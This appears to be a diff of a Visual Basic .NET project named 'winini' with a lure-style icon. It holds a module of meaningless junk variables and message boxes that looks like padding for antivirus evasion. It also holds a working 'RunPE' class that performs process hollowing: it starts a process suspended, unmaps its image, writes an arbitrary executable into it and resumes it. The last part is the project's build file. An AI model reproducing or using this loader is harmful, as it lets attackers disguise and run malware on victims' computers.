||||
Dim MnPtIKarsoJpOpZDGcfyxlYVeC As String = "RDLpRgUCOCXYXWwcvGqHkRkMTkhaWDKHQnkrcI"
|
||||
End If
|
||||
Dim VykoTBBfoVNwARtGchWRYWgQGB As String = "elJZvRtxIrsvtLSllCyhoiFgCdbQOHRdtiCpNXCzSQIkRQeTihDwQsI"
|
||||
Dim UXGjicUYtTlMWQPfSttRBWjoOF As String = "qwHoSctMMRbSsrHSepDbckSxhceNsktWzQSRcDBmNUwivXuhjRxeeaAwPbkoHckRoQU"
|
||||
msgbox("jrsAmIbMnUPlCdsGwrcrelevJoHMPRBEbiRjVJaOcHePBYmoykCFcYWzBBDcLmxDflwfrmsAJNwEQdsNjIVmCCIgHgGxqufqaHFrMtVhtBCojUtjAVzHXzunvrqsQrWYNnkqCMBlxziaoJPFdMCSimYcvgCROiplZIHXJsHcAKkIRpWktDSClKJJjUfElQzknnNSjgBNfFyVVJbgXPlsiNQpmb")
|
||||
If 6879251 > 918769 Then
|
||||
Dim AjFpOrBIDGKIVFwLiXvaVWTAV As String = "KiTspHORzCWddlRMdGTwjtzpSVveULBrJif"
|
||||
Dim rDVHsauimqQfdgUGzhaVXbSjTn As String = "xjoRDuonrnwJDnmcBWSzDWLFyMXmKQHDVaX"
|
||||
Dim mLnuCFvQeayaAWmompPSZXwzMa As String = "pYBxIcWJVIpiZmfLEdNYvbRhSYrSxwBQkvk"
|
||||
End If
|
||||
msgbox("EsWPRBYlhclmWpSzkQELtWJqlPaJmEymeRFssqBPHRbmMEZekvbEfLsiboWWtyVGROhDjxneoxHcrJVJywzJudFCaqeeUYrTfRERsYMeOsQobsWcOmiPtkfIVwoUnzbnJYDRwvufMxLebfyYrCkPdXBCUDJrYjrZxPJMeuLtljVpdXYobLVZBFwkSZxXxTXfqGcdKJtUhSCxDJeYNbzRiXzGLZLneszGiLTsLcaMvNNcWezfxMdWvPtTtRJO")
|
||||
If 2463750 > 459815 Then
|
||||
Dim OUXBNFkQXfMDZtbDEeMkHmsqIp As String = "UqLYZeVcbshwQukgxIijOwSuzwEjxYeJleJlWkNTuNC"
|
||||
Dim GUiOGonlzpwdaNnoJjVPVyBSqK As String = "mRyKjinoVSIQvrBzIXRorXXWQDjjqwLvumFoFCfNcoyQRQjVjhynIUDvw"
|
||||
Dim XrypHWYlUqDzchCveWMypvlAXp As String = "eFCfspcdwyEBgzGvJpSYzLuiLXnnCocRvlSOHHEPkuqZSZZMyKwVEMCjkQK"
|
||||
End If
|
||||
msgbox("ksLsJJHaEHZzRaNQjeuMnFTpMblGXYXgGPiITNznybJSuoewDpGpTZUHxDFhYjIrHHeWwNzHPzhynBXzhpOVxYdljaGSHIJSqWpVHLTHsjaeStAZjTsTuKEokGhUJrMjSXRnJDZfCeoZUpgmcmnjxLdnXjaGBPyJhKMlUKlxtceBtx")
|
||||
If 4396078 > 1029882 Then
|
||||
Dim DowMzphzRVMSIWxChTHlMyTFCB As String = "oFyKjfzxTDQAMazHgQzLWDdPEmrqoFfIvQXYnrCaWdkFINPafGMOknsNbKyrbYjUxDb"
|
||||
Dim meUFyGRqYBpQiZWfWcWLzCgnNr As String = "buNrOrLnKJDsSgOtbdHPTzVLhQMassUFFHkrErqIbjCQhokqCEWyqLytqVFYMsuyYJB"
|
||||
Dim gKJnXNlRUiwbcOKnywjIdyOaOi As String = "ftdVorVsmWesgWmFrFLaQnCpWoNgnfcpXLzraoLijYklOlQITXKSSvrndTRnNWDG"
|
||||
End If
|
||||
msgbox("SAGVrFYvFRwMFhPYjSJCfvogwwtMhUxlQPlOSPnXLlaLEyaSftmIbVNVSyqZOGsGPXxkLEGLkewEbLwlEUKrHPVfunUIacXANkBVtkoPDkLttyiDCZLPrrJdvUdfagwZqbUaxbcsnjbsNFqgNSaWSoUdyFFdrMogeQlViHYtVfAdejTBrSQZlDUvoKKCyAtBOeuygNEAxItWlDoHYVNVljhqFAWTqvrF")
|
||||
If 5669966 > 793074 Then
|
||||
Dim llkyyLloSvqgQsWcUOhyRDhzT As String = "VhqjHAOqYCQWfxxrhNCmgiEArCDzZimkXlBhRGqevZoncWiKHCmWLkZTHBcUoKvpRZVVUyVY"
|
||||
Dim hncmjoRAIbidMYjJbYUPpCkTmx As String = "VVjrXaAKXYchPlqDdZuraLTlEAhGVfVbUQWIhZeayEwgzBOYOGTKOohusPmwzUBbBBNoqRa"
|
||||
Dim CJAZzuWonACMhkIexHEQSOnQgz As String = "NVuERIDfzjMHQFCnjfDWnWcNmVHDlaCGYkPHTLQgfrqNeeqnkdBtPJTjnWqzGhZNiPZsKe"
|
||||
End If
|
||||
msgbox("oZcnDhDQNvHoIZiiTbptLscgFBqeFfdMrgKcXSVrCVAxIvLfkBAEvnxDoxDpgeCaqLlBzrmgPofOzEmuNzCHRidHoMYpCEKATRzYseZYjpApcgPmZoQjHoikwwsbiXaJyvJKHBGrHaXnrQfpaGtDjAVNCTMMpJpuIVWICoTWMhtZKdDGAGiriHDfjOQDphHwUZwrIBFPFdliLRQRhGGhpinKxzlsgRniiBdrc")
|
||||
If 7602295 > 334120 Then
|
||||
Dim QbWrJiIYDofxTsjIouGUhpCsmW As String = "eYjwEuwnFaLrUawoaWcvNLsFoeIFOvCGTQvdMW"
|
||||
Dim bXlxcYbHSLFKAxyingdKTRziFy As String = "qlLClilqtKSSOFXuRDZURzMqPdLvHWAsNMLEnqdDosrsrCVwagG"
|
||||
Dim uIPajeoAfuDobgbggiionmNjIW As String = "kFstaOsloOloriEOpjdWpXIOeSvnItqzwVuvtehGFgjtfFdZOuAsJS"
|
||||
End If
|
||||
Dim FbRgqTxYTmGXMudiLSOXTiLLYU As String = "THGFYexTWazHtIQbmpzEicSMhcwCtIUCzhpeRvJHniNHPjY"
|
||||
End Function
|
||||
|
||||
|
||||
|
||||
Public Function vHoqEdEeCHDhyRzgEFasWMsqeoWqotPpKpScdFRBBPWEGXtPLRxEAhJJWXrMfFZjRGHsbaRaHNfQIIKqBnDcHhxZmyevKRpzIDCGNZqCDafMAVyJVnbypeZIRsI(ByVal wpZXfcORaSXFeMk As String) As String
|
||||
On Error GoTo bkHssxFJVtmLofSPBligbwIzClveDYVIVfsWwLfkpnqqhGWIKqVLKdJFRDNY
|
||||
Dim vJedPcFWgywBxCoZqzeQpumlRHXNtSflENcMcxXpZdemvsJjxRRnSYIu As Integer = 703541
|
||||
Dim UCsAAzqDPzZ As Integer = 391134 + 1105037 + 1105037 + 445234
|
||||
Dim szBlmABmopRInUAqwngFtfSdve As String = "hPtWClvjaxfjXbsEBpRKNbHCPEpQfXutcRVyVXMUqZZ"
|
||||
Dim PvctIdDKmcNUK As Integer = 703622 + 646083 + 646083 + 1015301
|
||||
Dim DcEMYruApFcuuwICbvjSVHlSKfBYyJtWrfsqrwvBfgEBPfDZBXmCtgP As Integer = 800723
|
||||
Dim FEPsapjSLJzKjISZrsKgtluvFtufHlwEHhdOhLuUPZftFbQeoPvPSkZR As Integer = 653464
|
||||
Dim iacTxMnkOXkTDfKHVmCJkoQSanfIQujgHCiiOCblYglkFOLAwjiEpDp As Integer = 976389
|
||||
Dim rHnzByXmbSpZJxhMQnrCzkWQQW As Integer = 3392460 + 556347 + 387978 + 387978
|
||||
Dim TWBrrwBgNWXopOtucudXLCmGtWWyQBgrhcr As Integer = 5324789 + 588827 + 588827 + 588827
|
||||
Dim oMZgaDKIDIscHZXQWCmmYNPlrckCXFFsPDyNPmHSVOBYFWIauizlPXsk As Integer = 750646
|
||||
Dim PxSgUcFDQTGnJDQembqiwyqEpNYqjaOActaRglDoRpUZXwoFVrwHKjj As Integer = 173571
|
||||
Dim vPUHvyQlTKGDLLhBzMoNlAtwzaddSAeIpQEggPBXchtZzveJjloxYR As Integer = 9189446 + 1158894 + 499091 + 499091
|
||||
Dim TSUSUwyvGolBpsPIEGTaanQTj As String = "zAzfEmwfrbmvyLlGBMPfKExYbkalMZknUMuGsdDQPWJGjzdCvhqwiVjAdZWEd"
|
||||
Dim PGbWMWcpMbNwJpNhAcZodQIFnVHgynXxiAvAPtRDYfhsOxXBAItxzPWb As Integer = 524903
|
||||
msgbox("DMdnjhuVDigJFkPAQNOTbxZDkuYEJLdsxxbkTCOaDpqmzQgewUEWAePblfDCynJIYvweYYtKbnrFmfImEFRTCqepfyzOMDpnXqpQOCLuOJjIhlZtdEDGwptNHfPhQOwAhPIqCxsyClWrxqETIzQevilQFLzEWdGSrACyDRPthCEBxCaiiXFjPei")
|
||||
Dim FjpDqfoARIZgdacUiOPFrGvEhkXifHsWaEOicyznvJfUrIhdi As Integer = 8326115 + 900790 + 900790 + 240987
|
||||
Dim SrnYsVBxvDt As Integer = 3910614 + 610205 + 610205 + 441836
|
||||
Dim aRFyxmqKWFefWouzdjaSwRYAkG As String = "PtmDMWGykucbhSaxrgSgXPKpvshJGGRxYNeYYsOPYkabNJlGymJfHfjwz"
|
||||
msgbox("YEZXHoYbGZkDIjNEJdLlyWGjTggNdTaXjJsRdPajvXnubxRHBtencetptdVCnRGEYrplmrkdimHCJhXVcaLJLonpwDlbBMKczemTQWzadtMQnnYIrzcofChzlkxaEEhHTxDFwGMonTXYwSRiFtzRTWYhTyaocwTHpXKjNxThVpJPSXvLYivgJwHBCVpFEpPqVicuxvPTih")
|
||||
Dim HWwcpauNFcGoFAbYdLWTJcCBLvyaGSOrjKXbLCvVDSghXExKUlsOCUML As Integer = 9395112 + 1011903 + 1011903 + 352100
|
||||
Dim YpvOLiFYcKPpEMYg As Integer = 9707600 + 1212752 + 1212752 + 552949
|
||||
Dim kPHCmawtzkgIKCrkuintOwuwz As String = "VtyTVOjidyVMregosmhVJUDTqFUMwuwHvFxTjiNEYiJpJTxLDbRqPxvgSbKnA"
|
||||
Dim jTGtqTgQWPyOopDZuVeAWjRUdkMBuMSnmrShkQFFTVgJUsJKhWhaua As Integer = 719266
|
||||
msgbox("qPEiBtxhiZmbXAmFTeRjoJTRpZfQyxcoGHRlcLHMTxitIfoXuVltABMatYGYSGBWpFUbDrrfAsbeDtEOJKYOtKTIoJgwEbBpgtRzsscHTqVcXyIBzffpisPjORGgWRDNTFIBLXqNMcPieBdDHPHQiIcaKcjVjkkMsWvbVnITUiNsnLprUwGnHNhAOYQMFnWH")
|
||||
msgbox("xezLzLCSoZgwbDfylrciRHVuPalyKaqlMvWhTDfbsciHuBfPfYjGNXJahscyslkdLVdNXBASKzqOjwBihwfbfoHpMlDIINqypUcehvxsnELuQdaFmZXUnuyozTVEZwqxsGcHTYCEVHBaKkkhoXSOHfOaoGmOOZTcRtjZBazCDVWimHNPjDblIjozbNMNvmGoHwHHzqWqhKdtRitGRhDLKuDNIABeqYlkHfDglHATCndkUAHHjXIQkBsTclPnTVs")
|
||||
bkHssxFJVtmLofSPBligbwIzClveDYVIVfsWwLfkpnqqhGWIKqVLKdJFRDNY:
|
||||
Dim GFVoxxBczHwiTwsLwoBruphOydbToGFGRNfIuycOBRTVBTXoRYPJcnxp As Integer = 317857
|
||||
Dim GWbwbYyHYHgYyczvMDlEtwvOOFdzLNWhoKvaaUXtopxdVxdhfRoPEsdE As Integer = 170599
|
||||
Dim UUeohjoPEjFkzuBUkZMIaCwJUrXPUFBbyqytlVtPSEOxvFaoHViLQhBN As Integer = 170599
|
||||
Dim CfImRBQLSuIesneWIcWdwxfQd As String = "yTLGBfaggqKwwZhZxkWDgkhBLmRlyHSMhPOWxrXngJkbDsxLwmG"
|
||||
Dim lbWiVRmubmZxgurouGStvWftqM As String = "kAtdjtFnfkyNCtNNkSpsYVjRzRqZFdkUtzWUifwKcKaXyf"
|
||||
Dim cipWDaRwfHCLkIKQtYIUVxzjJ As String = "CddzseXsGbcAZEFthptJCiCXFMUXMlgEbVDZXZaPtwTPQjIHaHwdGsUgoYvQ"
|
||||
msgbox("cUWQfDClsHmMpCxCIpYXUDFagYpyrJqeJoRXkMGlHThhHQNkfVnASOIJEiGGLyOgDoISCcwCCZZXvvblOhFzkrOTyGChNsfurRphsoRqQhCwXxOGfeahKborvseJmxwavSJchpQICIeVUEOMXWrGSLIJUtLPQVsrnPrKwKMBeGQLvmBcprqHOoDYRkGBpOrqvmQDQLxIJSkucCa")
|
||||
If 9913266 > 1234129 Then
|
||||
Dim ghJiGZtJHCcNlBjtFbdWDAOzYi As String = "YuJOyHRULuxIOtjNUctJWNUryYjdNSwRnlgJixTvtWrBFEDCOLxoIeBINlbJycbDwGfk"
|
||||
Dim eTUwUAhtnhmyjXuCEjHemBPoZH As String = "pnfNWQkyeOkUJLEAPFuXkCuJXGvhvdRSyECfTfUEhDfxofQGjxUlXCExJyNxtAAMhIbE"
|
||||
Dim mOKThSvZmBGXTjjWmDYhfGecOM As String = "pmWCbprRbZohVlvEiUnMTyNPpFmRchCulousabcawVlrrXhFHTcmYyMSnxBEUmsLUpjw"
|
||||
End If
|
||||
Dim DZTCybUsHXZFErrpDCGWtfdvIpKohWQfszRnvmSGJSUWIwQjqejRo As Integer = 267781
|
||||
Dim ibIyAWpRdIgyQEhwpumKbPxdorjcYDSnUvKRiTPnUTslsXCvPTsuKMm As Integer = 590705
|
||||
End Function
|
||||
|
||||
|
||||
Public Sub mcsKyNmgjQIoLDHVoIpCXjtH(ByVal pjzlPKltzpHIhZOTVKVULTOvdtPYVJJjTjprMTIeenvysxkmU As String)
|
||||
Dim PxFlVkqzmetxfvUGFlRYoiodfJ As String = "bWoimyshatnNqmCFWmPsaqcdPOesiuupcNtpuWwBKlohHslDVfBnoZlzVoXEYs"
|
||||
Dim gDPDsteThfQeBkddJJZvIYLLwLBnggnICoQfXXnHfBNKwjfaIqrDBtCd As Integer = 766371
|
||||
msgbox("jXKxIpyXYlzTdXLzIMWDKdPzxxajNKbYhzbguRYGidVgXZCqrkestPsJtlbYOxqzurKBUmemuaeEEaFHOFJgvLDgPObfaRWngZhVJZxtrfdVUreauMtUKfFrfSHGrhcQMoYqJskDugzgMkgVEsPJhnGTMnCCKIQKGXUNQFBrXTaodVTVOoFCJxOneOtWYHsxlPBoYcCl")
|
||||
Dim jIigpsqfiwnhQxCBhnVjlnExOLYkcGAiIzSxdLlyTVdXMIWmtxIYNVKP As Integer = 9362423 + 517071 + 517071 + 517071
|
||||
Dim kVEaERVhleUiDeWh As Integer = 4946922 + 717920 + 717920 + 1087138
|
||||
Dim kVqmamxQDYqreBzAHPeHMpyjpuoOJXKxjjYZIHiPrIkIcRegDSyP As Integer = 6879251 + 918769 + 258966 + 258966
|
||||
Dim hTyMwNLWjapTLEjEKGzKybmIiDbpzhXVVuStdBZJruFDQOczwedS As Integer = 8811579 + 1119618 + 459815 + 459815
|
||||
msgbox("azQSsYepKmyIirbJlcvmNhvLhJRARMENWmXsmfkqwHxgzmKIvhgfkNMmaRjbHrOlmgVElnBYBneXaRyBjOkjasiVfzUDOJTqWtDjKlPsSZhFwBQWKlDElvbolvjCswjDwZrbLwpskROjpbdcLVmsHdraFUyrkMwvvVJFqcVgpRJLfOZGmmsCyHamMenagboIqrbGcCxsauY")
|
||||
msgbox("vbVySCcmpiLZdhgWYvFTlGmtJEJslUkLBQcDcwbpdcrirQEfIEkKVhXvhBPjiJYhjqoFKiNwRmsvKAkgeTMXAixppHGehGxILqoFLbrjZzwMbCeBGbTKXWVCDLSfccPQFFKEbpYeXElkmiwRKTmWfNzLrBfnPkihlWkFBmOIgptQmJuE")
|
||||
msgbox("rQYSDgmIDdNrhSjYNDEtVqWPDNEgYMreHnxXHLepdpYdTMkWTnyTVLyZCivEIvezDiQHlbbXPeNpuEFXeSUckCZAOcZgtnGNfwsdRxQnOqvjkNkHyngbpkmbotCUIHLDqXrubwmUdWkTRLNLatwYLeckfavcbajCkIdNqrfAIQwBRRdP")
|
||||
Dim FPcJJsdPjGmDhllxlZgxCwXKKzyviEWXRTzrRMLHEpxtUgdvrsPiWi As Integer = 813476
|
||||
Dim OATZlnJGsZmUWskiWgNimBRuvJDNOxazLubmtbDzqvdkKSkLGVPTHLbt As Integer = 753618
|
||||
Dim yccPEDnkumfrrItbZQOCBdMSkwLVlgHqOsBnxlCDKghlOhBSMXtNOIPZ As Integer = 606360
|
||||
msgbox("NfWMJoVJwuDRRUnzccJOKOJElHdJthXegkhNKWPxWJyQPooVqCoLDcrfahVWgntxlstYwKFKjWNWHoJvHgTaKKhBuhFXROTOJGBGbfMlRiqwAwUNJRrTpnxFaGbbIkURkbAbIJEPEvdHDoqMdKEHzmKhCIewNeQvuFnyyYEmdLVPZqrfzMBDxkpVGnJwoWdpXtHkFg")
|
||||
Dim vpKsFxGJFGLKNPBzfUjgMJahtcsjrhwcEdOQkLFqYNITqanjtexEzgG As Integer = 7602295 + 993924 + 993924 + 334120
|
||||
Dim VrCHGHEXLzUOkyXRJoclLQPlpIKsFSdNc As Integer = 4806635 + 703338 + 534970 + 534970
|
||||
Dim HMdlEuVyKPUqZGwRrjngxdgmql As String = "myuBtpBDiCpbSyMlSViWgjyVLedCNnPRGOnEjYpREMGdJzUicJIalpEcXWDTx"
|
||||
Dim VXoVuhYlrVirrlGeUtWfjHSwjZcuVfaPfIqmXQbRnZxZLUbKDNDQmVLL As Integer = 126466
|
||||
Dim rgiRCGAvkUo As Integer = 8671292 + 1105037 + 1105037 + 445234
|
||||
Dim ogzVGiwlyJankaHTmCuOkYxvO As String = "PdYdEgUpjMdgaBfVelzIwGrmDTNIxalRxLpuM"
|
||||
Dim bmxilYGUGkOeqCLIDcPWEPsfLFyqKf As Integer = 4255792 + 646083 + 1015301 + 1015301
|
||||
Dim lZvjhnOPyTtVHgInjVjpDAwCezedoUqwqJxJRBTLXIjTAiBLEppjosYP As Integer = 653464
|
||||
Dim osqdxjiTpYcKFZCWZTWQxmPGhlZQrAOPMCgFaYycypekWunmphKfsld As Integer = 976389
|
||||
Dim uwFxrdKvWghxVfQbPWgRlnBNySZQirbFueMQTzogzvxggPGRFNQjYKjRbN As Integer = 3392460 + 556347 + 556347 + 387978
|
||||
Dim pZveXDncNrIcxtuyAETarePnKPty As Integer = 3704948 + 588827 + 958045 + 958045
|
||||
Dim TUZwrDWXZlrLRsfjvZwOkjzayIrQpSbdMdaBxVNOwZJIZXoQbDxzGnoH As Integer = 173571
|
||||
Dim OjONXGQHujLFOxSDkLPPyaKWLHZSaUgfzWSBDdGWyjesZwgoCiUjtlp As Integer = 9189446 + 1158894 + 499091 + 499091
|
||||
Dim juNkTKSazfogeIQfGPqjYspFXZ As String = "ipaQbhugUqOvUbVDjobQOFSjCcFWwoCyZhxxlqHYyndrOuILtHcrvdvNcPDwH"
|
||||
End Sub
|
||||
|
||||
End Module
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 766 B |
@@ -0,0 +1,128 @@
|
||||
Imports System.Runtime.InteropServices
|
||||
Imports System.ComponentModel
|
||||
|
||||
Public Class rp
|
||||
Public Const PAGE_NOCACHE As Long = &H200
|
||||
Public Const PAGE_EXECUTE_READWRITE As Long = &H40
|
||||
Public Const PAGE_EXECUTE_WRITECOPY As Long = &H80
|
||||
Public Const PAGE_EXECUTE_READ As Long = &H20
|
||||
Public Const PAGE_EXECUTE As Long = &H10
|
||||
Public Const PAGE_WRITECOPY As Long = &H8
|
||||
Public Const PAGE_NOACCESS As Long = &H1
|
||||
Public Const PAGE_READWRITE As Long = &H4
|
||||
Public Const PAGE_READONLY As UInt32 = &H2
|
||||
|
||||
Shared Sub MakeIt(ByVal data() As Byte, ByVal target As String)
|
||||
Dim C = New H.Context, SH As H.Section_Header, PI = New H.Process_Information, SI = New H.Startup_Information, PS = New H.Security_Flags, TS = New H.Security_Flags
|
||||
Dim GC = GCHandle.Alloc(data, GCHandleType.Pinned)
|
||||
Dim Buffer As Integer = GC.AddrOfPinnedObject.ToInt32
|
||||
Dim DH As New H.DOS_Header
|
||||
DH = Marshal.PtrToStructure(GC.AddrOfPinnedObject, DH.GetType)
|
||||
GC.Free()
|
||||
If H.CreateProcess(Nothing, target, PS, TS, False, 4, Nothing, Nothing, SI, PI) = 0 Then Return
|
||||
Dim NH As New H.NT_Headers
|
||||
NH = Marshal.PtrToStructure(New IntPtr(Buffer + DH.Address), NH.GetType)
|
||||
Dim Address, Offset As Long, ret As UInteger
|
||||
SI.CB = Len(SI)
|
||||
C.Flags = 65538
|
||||
If NH.Signature <> 17744 Or DH.Magic <> 23117 Then Return
|
||||
If H.GetThreadContext(PI.Thread, C) And H.ReadProcessMemory(PI.Process, C.Ebx + 8, Address, 4, 0) >= 0 And H.ZwUnmapViewOfSection(PI.Process, Address) >= 0 Then
|
||||
Dim ImageBase As UInt32 = H.VirtualAllocEx(PI.Process, NH.Optional.Image, NH.Optional.SImage, 12288, 4)
|
||||
If ImageBase <> 0 Then
|
||||
H.WriteProcessMemory(PI.Process, ImageBase, data, NH.Optional.SHeaders, ret)
|
||||
Offset = DH.Address + 248
|
||||
For I As Integer = 0 To NH.File.Sections - 1
|
||||
SH = Marshal.PtrToStructure(New IntPtr(Buffer + Offset + I * 40), SH.GetType)
|
||||
Dim Raw(SH.Size) As Byte
|
||||
For Y As Integer = 0 To SH.Size - 1 : Raw(Y) = data(SH.Pointer + Y) : Next
|
||||
H.WriteProcessMemory(PI.Process, ImageBase + SH.Address, Raw, SH.Size, ret)
|
||||
H.VirtualProtectEx(PI.Process, ImageBase + SH.Address, SH.Misc.Size, Protect(SH.Flags), Address)
|
||||
Next I
|
||||
Dim T = BitConverter.GetBytes(ImageBase)
|
||||
H.WriteProcessMemory(PI.Process, C.Ebx + 8, T, 4, ret)
|
||||
C.Eax = ImageBase + NH.Optional.Address
|
||||
H.SetThreadContext(PI.Thread, C)
|
||||
H.ResumeThread(PI.Thread)
|
||||
End If
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Shared Function RShift(ByVal lValue As Long, ByVal lNumberOfBitsToShift As Long) As Long
|
||||
RShift = vbLongToULong(lValue) / (2 ^ lNumberOfBitsToShift)
|
||||
End Function
|
||||
Private Shared Function vbLongToULong(ByVal Value As Long) As Double
|
||||
Const OFFSET_4 = 4294967296.0#
|
||||
If Value < 0 Then
|
||||
vbLongToULong = Value + OFFSET_4
|
||||
Else
|
||||
vbLongToULong = Value
|
||||
End If
|
||||
End Function
|
||||
|
||||
Private Shared Function Protect(ByVal characteristics As Long) As Long
|
||||
Dim mapping() As Object = {PAGE_NOACCESS, PAGE_EXECUTE, PAGE_READONLY, _
|
||||
PAGE_EXECUTE_READ, PAGE_READWRITE, PAGE_EXECUTE_READWRITE, _
|
||||
PAGE_READWRITE, PAGE_EXECUTE_READWRITE}
|
||||
Protect = mapping(RShift(characteristics, 29))
|
||||
End Function
|
||||
|
||||
<EditorBrowsable(1)> Friend Class H
|
||||
<StructLayout(0)> Structure Context
|
||||
Dim Flags, D0, D1, D2, D3, D6, D7 As UInt32, Save As Save
|
||||
Dim SG, SF, SE, SD, Edi, Esi, Ebx, Edx, Ecx, Eax, Ebp, Eip, SC, EFlags, Esp, SS As UInt32
|
||||
<MarshalAs(UnmanagedType.ByValArray, SizeConst:=512)> Dim Registers As Byte()
|
||||
End Structure
|
||||
<StructLayout(0)> Structure Save
|
||||
Dim Control, Status, Tag, ErrorO, ErrorS, DataO, DataS As UInteger
|
||||
<MarshalAs(UnmanagedType.ByValArray, SizeConst:=80)> Dim RegisterArea As Byte()
|
||||
Dim State As UInt32
|
||||
End Structure
|
||||
Structure Misc
|
||||
Dim Address, Size As UInt32
|
||||
End Structure
|
||||
Structure Section_Header
|
||||
Dim Name As Byte, Misc As Misc, Address, Size, Pointer, PRelocations, PLines, NRelocations, NLines, Flags As UInt32
|
||||
End Structure
|
||||
Structure Process_Information
|
||||
Dim Process, Thread As IntPtr, ProcessId, ThreadId As Integer
|
||||
End Structure
|
||||
<StructLayout(0, CharSet:=3)> Structure Startup_Information
|
||||
Dim CB As Integer, ReservedA, Desktop, Title As String, X, Y, XSize, YSize, XCount, YCount, Fill, Flags As Integer
|
||||
Dim ShowWindow, ReservedB As Short, ReservedC, Input, Output, [Error] As Integer
|
||||
End Structure
|
||||
<StructLayout(0)> Structure Security_Flags
|
||||
Dim Length As Integer, Descriptor As IntPtr, Inherit As Integer
|
||||
End Structure
|
||||
<StructLayout(0)> Structure DOS_Header
|
||||
Dim Magic, Last, Pages, Relocations, Size, Minimum, Maximum, SS, SP, Checksum, IP, CS, Table, Overlay As UInt16
|
||||
<MarshalAs(UnmanagedType.ByValArray, SizeConst:=4)> Dim ReservedA As UInt16()
|
||||
Dim ID, Info As UInt16
|
||||
<MarshalAs(UnmanagedType.ByValArray, SizeConst:=10)> Dim ReservedB As UInt16()
|
||||
Dim Address As Int32
|
||||
End Structure
|
||||
Structure NT_Headers
|
||||
Dim Signature As UInt32, File As File_Header, [Optional] As Optional_Headers
|
||||
End Structure
|
||||
<StructLayout(0)> Structure File_Header
|
||||
Dim Machine, Sections As UInt16, Stamp, Table, Symbols As UInt32, Size, Flags As UInt16
|
||||
End Structure
|
||||
<StructLayout(0)> Structure Optional_Headers
|
||||
Public Magic As UInt16, Major, Minor As Byte, SCode, IData, UData, Address, Code, Data, Image As UInt32, SectionA, FileA As UInt32
|
||||
Public MajorO, MinorO, MajorI, MinorI, MajorS, MinorS As UInt16, Version, SImage, SHeaders, Checksum As UInt32, Subsystem, Flags As UInt16
|
||||
Public SSReserve, SSCommit, SHReserve, SHCommit, LFlags, Count As UInt32
|
||||
<MarshalAs(UnmanagedType.ByValArray, SizeConst:=16)> Public DataDirectory As Data_Directory()
|
||||
End Structure
|
||||
<StructLayout(0)> Structure Data_Directory
|
||||
Dim Address, Size As UInt32
|
||||
End Structure
|
||||
Declare Auto Function CreateProcess Lib "kernel32" (ByVal name As String, ByVal command As String, ByRef process As Security_Flags, ByRef thread As Security_Flags, ByVal inherit As Boolean, ByVal flags As UInt32, ByVal system As IntPtr, ByVal current As String, <[In]()> ByRef startup As Startup_Information, <Out()> ByRef info As Process_Information) As Boolean
|
||||
Declare Auto Function WriteProcessMemory Lib "kernel32" (ByVal process As IntPtr, ByVal address As IntPtr, ByVal buffer As Byte(), ByVal size As IntPtr, <Out()> ByRef written As Integer) As Boolean
|
||||
Declare Auto Function ReadProcessMemory Lib "kernel32" (ByVal process As IntPtr, ByVal address As IntPtr, ByRef buffer As IntPtr, ByVal size As IntPtr, ByRef read As Integer) As Integer
|
||||
Declare Auto Function VirtualProtectEx Lib "kernel32" (ByVal process As IntPtr, ByVal address As IntPtr, ByVal size As UIntPtr, ByVal [new] As UIntPtr, <Out()> ByVal old As UInt32) As Integer
|
||||
Declare Auto Function VirtualAllocEx Lib "kernel32" (ByVal process As IntPtr, ByVal address As IntPtr, ByVal size As UInt32, ByVal type As UInt32, ByVal protect As UInt32) As IntPtr
|
||||
Declare Auto Function ZwUnmapViewOfSection Lib "ntdll" (ByVal process As IntPtr, ByVal address As IntPtr) As Long
|
||||
Declare Auto Function ResumeThread Lib "kernel32" (ByVal thread As IntPtr) As UInt32
|
||||
Declare Auto Function GetThreadContext Lib "kernel32" (ByVal thread As IntPtr, ByRef context As Context) As Boolean
|
||||
Declare Auto Function SetThreadContext Lib "kernel32" (ByVal thread As IntPtr, ByRef context As Context) As Boolean
|
||||
End Class
|
||||
End Class
|
||||
@@ -0,0 +1,136 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="14.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProductVersion>9.0.30729</ProductVersion>
|
||||
<SchemaVersion>2.0</SchemaVersion>
|
||||
<ProjectGuid>{431C311C-D462-41B3-8046-6D2EFA480D81}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<StartupObject>winini.My.MyApplication</StartupObject>
|
||||
<RootNamespace>winini</RootNamespace>
|
||||
<AssemblyName>winini</AssemblyName>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
<MyType>WindowsForms</MyType>
|
||||
<TargetFrameworkVersion>v2.0</TargetFrameworkVersion>
|
||||
<OptionExplicit>On</OptionExplicit>
|
||||
<OptionCompare>Binary</OptionCompare>
|
||||
<OptionStrict>Off</OptionStrict>
|
||||
<OptionInfer>On</OptionInfer>
|
||||
<ApplicationManifest>My Project\app.manifest</ApplicationManifest>
|
||||
<ApplicationIcon>playboy.ico</ApplicationIcon>
|
||||
<FileUpgradeFlags>
|
||||
</FileUpgradeFlags>
|
||||
<UpgradeBackupLocation>
|
||||
</UpgradeBackupLocation>
|
||||
<OldToolsVersion>3.5</OldToolsVersion>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<DefineDebug>true</DefineDebug>
|
||||
<DefineTrace>true</DefineTrace>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DocumentationFile>winini.xml</DocumentationFile>
|
||||
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022,42353,42354,42355</NoWarn>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<DefineDebug>false</DefineDebug>
|
||||
<DefineTrace>true</DefineTrace>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DocumentationFile>winini.xml</DocumentationFile>
|
||||
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022,42353,42354,42355</NoWarn>
|
||||
</PropertyGroup>
